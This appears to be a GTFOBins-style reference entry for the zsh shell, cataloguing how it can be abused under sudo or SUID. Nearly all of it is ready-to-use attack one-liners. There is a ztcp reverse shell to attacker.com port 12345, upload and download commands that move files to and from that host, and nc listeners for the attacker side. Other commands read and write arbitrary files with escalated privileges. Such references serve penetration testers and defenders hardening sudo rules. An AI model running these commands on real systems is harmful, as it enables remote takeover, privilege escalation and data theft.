Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    zsh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    zsh -c 'echo DATA >/path/to/output-file'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c 'echo DATA >/path/to/output-file'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c 'echo DATA >/path/to/output-file'

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    zsh -c 'echo "$(</path/to/input-file)"'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c 'echo "$(</path/to/input-file)"'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c 'echo "$(</path/to/input-file)"'
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
  2. CommentThis spawns a pager if run in a TTY.
    This function can be performed by any unprivileged user.
    zsh -c '</path/to/input-file'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c '</path/to/input-file'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c '</path/to/input-file'

Upload

This executable can upload local data.
  1. This function can be performed by any unprivileged user.
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
    SenderA TCP server can be used on the attacker box to send the data.
    nc -l -p 12345 </path/to/input-file

Inherit

This executable can inherit functions from another.
  1. This function can be performed by any unprivileged user.
    zsh -c '</etc/hosts'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    zsh -c '</etc/hosts'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    zsh -c '</etc/hosts'
    Functions

    Inherits from less, thus possibly granting its functions.